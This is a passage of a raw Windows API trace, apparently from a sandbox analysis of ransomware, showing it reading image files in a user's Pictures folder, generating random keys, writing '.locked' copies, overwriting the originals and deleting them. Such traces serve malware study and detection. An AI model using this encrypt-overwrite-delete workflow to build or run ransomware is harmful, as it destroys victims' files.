	[0079.757] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0079.757] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.757] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0079.759] SetEvent (hEvent=0xb4) returned 1
	[0079.759] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x9442, lpOverlapped=0x0) returned 1
	[0079.760] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x9442, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x9442, lpOverlapped=0x0) returned 1
	[0079.761] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0079.761] CloseHandle (hObject=0xc4) returned 1
	[0079.762] CloseHandle (hObject=0xc0) returned 1
	[0079.762] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.762] SetEvent (hEvent=0xb4) returned 1
	[0079.762] SetEvent (hEvent=0x80) returned 1
	[0079.762] SetEvent (hEvent=0x78) returned 1
	[0079.762] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.763] SetEvent (hEvent=0xa8) returned 1
	[0079.763] SetEvent (hEvent=0x78) returned 1
	[0079.763] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12408000*, nNumberOfCharsToWrite=0x5b, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x12408000*, lpNumberOfCharsWritten=0x127ee7d8*=0x5b) returned 1
	[0079.765] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\yx0AE_1nlAbd-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\yx0ae_1nlabd-.png")) returned 1
	[0079.783] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.784] SetEvent (hEvent=0xa8) returned 1
	[0079.784] SetEvent (hEvent=0x80) returned 1
	[0079.788] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.788] SetEvent (hEvent=0x80) returned 1
	[0079.788] SetEvent (hEvent=0x78) returned 1
	[0079.788] SetEvent (hEvent=0xb4) returned 1
	[0079.788] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.789] SetEvent (hEvent=0xb4) returned 1
	[0079.790] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.790] SetEvent (hEvent=0xb4) returned 1
	[0079.791] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.791] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.791] SetEvent (hEvent=0xb4) returned 1
	[0079.791] SetEvent (hEvent=0x78) returned 1
	[0079.791] SetEvent (hEvent=0x80) returned 1
	[0079.791] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.791] SetEvent (hEvent=0x80) returned 1
	[0079.792] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\yx0AE_1nlAbd-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\yx0ae_1nlabd-.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.792] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0079.793] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.816] CloseHandle (hObject=0xc0) returned 1
	[0079.816] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\Jvd5uXr7194-2VV\\yx0AE_1nlAbd-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\jvd5uxr7194-2vv\\yx0ae_1nlabd-.png")) returned 1
	[0079.819] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\T8CWEdLZr- h4J.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\t8cwedlzr- h4j.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b5118c0, ftCreationTime.dwHighDateTime=0x1d4cb5c, ftLastAccessTime.dwLowDateTime=0x3084fb10, ftLastAccessTime.dwHighDateTime=0x1d4cb84, ftLastWriteTime.dwLowDateTime=0x3084fb10, ftLastWriteTime.dwHighDateTime=0x1d4cb84, nFileSizeHigh=0x0, nFileSizeLow=0xb726)) returned 1
	[0079.820] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\T8CWEdLZr- h4J.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\t8cwedlzr- h4j.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.820] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0079.820] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\T8CWEdLZr- h4J.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\t8cwedlzr- h4j.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.820] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0079.821] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c4e0 | out: pbBuffer=0x1238c4e0) returned 1
	[0079.821] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8170 | out: pbBuffer=0x127a8170) returned 1
	[0079.821] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.821] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0079.823] SetEvent (hEvent=0x78) returned 1
	[0079.823] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0xb726, lpOverlapped=0x0) returned 1
	[0079.825] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xb726, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0xb726, lpOverlapped=0x0) returned 1
	[0079.826] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0079.826] CloseHandle (hObject=0xc4) returned 1
	[0079.826] CloseHandle (hObject=0xc0) returned 1
	[0079.826] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.826] SetEvent (hEvent=0x78) returned 1
	[0079.826] SetEvent (hEvent=0x80) returned 1
	[0079.826] SetEvent (hEvent=0xb4) returned 1
	[0079.827] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.827] SetEvent (hEvent=0xa8) returned 1
	[0079.827] SetEvent (hEvent=0xb4) returned 1
	[0079.827] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x4c) returned 1
	[0079.829] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\T8CWEdLZr- h4J.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\t8cwedlzr- h4j.gif")) returned 1
	[0079.848] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.848] SetEvent (hEvent=0xa8) returned 1
	[0079.848] SetEvent (hEvent=0x80) returned 1
	[0079.853] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.853] SetEvent (hEvent=0x80) returned 1
	[0079.853] SetEvent (hEvent=0xb4) returned 1
	[0079.853] SetEvent (hEvent=0x78) returned 1
	[0079.853] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.853] SetEvent (hEvent=0x78) returned 1
	[0079.855] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.855] SetEvent (hEvent=0x78) returned 1
	[0079.855] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.856] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.856] SetEvent (hEvent=0x78) returned 1
	[0079.856] SetEvent (hEvent=0xb4) returned 1
	[0079.856] SetEvent (hEvent=0x80) returned 1
	[0079.856] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.856] SetEvent (hEvent=0x80) returned 1
	[0079.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\T8CWEdLZr- h4J.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\t8cwedlzr- h4j.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.857] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0079.858] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.876] CloseHandle (hObject=0xc0) returned 1
	[0079.876] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\T8CWEdLZr- h4J.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\t8cwedlzr- h4j.gif")) returned 1
	[0079.879] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\_M_ vl2L_zyCAZLJKZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\_m_ vl2l_zycazljkz.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65f7840, ftCreationTime.dwHighDateTime=0x1d4d50e, ftLastAccessTime.dwLowDateTime=0xaa3e5650, ftLastAccessTime.dwHighDateTime=0x1d4d0bf, ftLastWriteTime.dwLowDateTime=0xaa3e5650, ftLastWriteTime.dwHighDateTime=0x1d4d0bf, nFileSizeHigh=0x0, nFileSizeLow=0x8ccf)) returned 1
	[0079.879] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\_M_ vl2L_zyCAZLJKZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\_m_ vl2l_zycazljkz.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.879] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0079.880] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\_M_ vl2L_zyCAZLJKZ.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\_m_ vl2l_zycazljkz.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.880] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0079.880] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0079.880] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8150 | out: pbBuffer=0x127a8150) returned 1
	[0079.880] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.880] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0079.883] SetEvent (hEvent=0xb4) returned 1
	[0079.883] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x8ccf, lpOverlapped=0x0) returned 1
	[0079.884] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x8ccf, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x8ccf, lpOverlapped=0x0) returned 1
	[0079.886] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0079.886] CloseHandle (hObject=0xc4) returned 1
	[0079.886] CloseHandle (hObject=0xc0) returned 1
	[0079.886] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0079.887] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.887] SetEvent (hEvent=0xb4) returned 1
	[0079.887] SetEvent (hEvent=0x80) returned 1
	[0079.887] SetEvent (hEvent=0x78) returned 1
	[0079.887] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.887] SetEvent (hEvent=0x78) returned 1
	[0079.887] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee83c*=0x50) returned 1
	[0079.889] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\_M_ vl2L_zyCAZLJKZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\_m_ vl2l_zycazljkz.png")) returned 1
	[0079.907] SetEvent (hEvent=0x80) returned 1
	[0079.912] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.912] SetEvent (hEvent=0x80) returned 1
	[0079.912] SetEvent (hEvent=0x78) returned 1
	[0079.912] SetEvent (hEvent=0xb4) returned 1
	[0079.912] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.912] SetEvent (hEvent=0xb4) returned 1
	[0079.914] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.914] SetEvent (hEvent=0xa8) returned 1
	[0079.914] SetEvent (hEvent=0xb4) returned 1
	[0079.915] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.915] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.915] SetEvent (hEvent=0xb4) returned 1
	[0079.915] SetEvent (hEvent=0x78) returned 1
	[0079.915] SetEvent (hEvent=0x80) returned 1
	[0079.916] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.916] SetEvent (hEvent=0xa8) returned 1
	[0079.916] SetEvent (hEvent=0x80) returned 1
	[0079.916] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\_M_ vl2L_zyCAZLJKZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\_m_ vl2l_zycazljkz.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.917] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0079.917] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.935] CloseHandle (hObject=0xc0) returned 1
	[0079.935] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\_M_ vl2L_zyCAZLJKZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\_m_ vl2l_zycazljkz.png")) returned 1
	[0079.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\aMEWi2I7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\amewi2i7.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65357ac0, ftCreationTime.dwHighDateTime=0x1d4cafc, ftLastAccessTime.dwLowDateTime=0xf6b64db0, ftLastAccessTime.dwHighDateTime=0x1d4cfe5, ftLastWriteTime.dwLowDateTime=0xf6b64db0, ftLastWriteTime.dwHighDateTime=0x1d4cfe5, nFileSizeHigh=0x0, nFileSizeLow=0x9d4b)) returned 1
	[0079.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\aMEWi2I7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\amewi2i7.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.939] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0079.940] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\aMEWi2I7.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\amewi2i7.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0079.940] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0079.940] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0079.940] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8150 | out: pbBuffer=0x127a8150) returned 1
	[0079.940] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0079.940] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0079.943] SetEvent (hEvent=0x78) returned 1
	[0079.943] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x9d4b, lpOverlapped=0x0) returned 1
	[0079.944] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x9d4b, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x9d4b, lpOverlapped=0x0) returned 1
	[0079.946] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0079.946] CloseHandle (hObject=0xc4) returned 1
	[0079.946] CloseHandle (hObject=0xc0) returned 1
	[0079.946] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.947] SetEvent (hEvent=0x78) returned 1
	[0079.947] SetEvent (hEvent=0x80) returned 1
	[0079.947] SetEvent (hEvent=0xb4) returned 1
	[0079.947] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.947] SetEvent (hEvent=0xb4) returned 1
	[0079.947] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x46) returned 1
	[0079.949] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\aMEWi2I7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\amewi2i7.png")) returned 1
	[0079.967] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.967] SetEvent (hEvent=0xa8) returned 1
	[0079.967] SetEvent (hEvent=0x80) returned 1
	[0079.972] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.972] SetEvent (hEvent=0x80) returned 1
	[0079.972] SetEvent (hEvent=0xb4) returned 1
	[0079.972] SetEvent (hEvent=0x78) returned 1
	[0079.972] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.972] SetEvent (hEvent=0x78) returned 1
	[0079.974] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.974] SetEvent (hEvent=0x78) returned 1
	[0079.975] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.975] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0079.975] SetEvent (hEvent=0x78) returned 1
	[0079.975] SetEvent (hEvent=0xb4) returned 1
	[0079.975] SetEvent (hEvent=0x80) returned 1
	[0079.975] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0079.975] SetEvent (hEvent=0x80) returned 1
	[0079.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\aMEWi2I7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\amewi2i7.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0079.976] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0079.977] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0079.994] CloseHandle (hObject=0xc0) returned 1
	[0079.994] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\aMEWi2I7.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\amewi2i7.png")) returned 1
	[0079.998] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17139c00, ftCreationTime.dwHighDateTime=0x1d4c8f9, ftLastAccessTime.dwLowDateTime=0xf65706e0, ftLastAccessTime.dwHighDateTime=0x1d4d59c, ftLastWriteTime.dwLowDateTime=0xf65706e0, ftLastWriteTime.dwHighDateTime=0x1d4d59c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0079.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
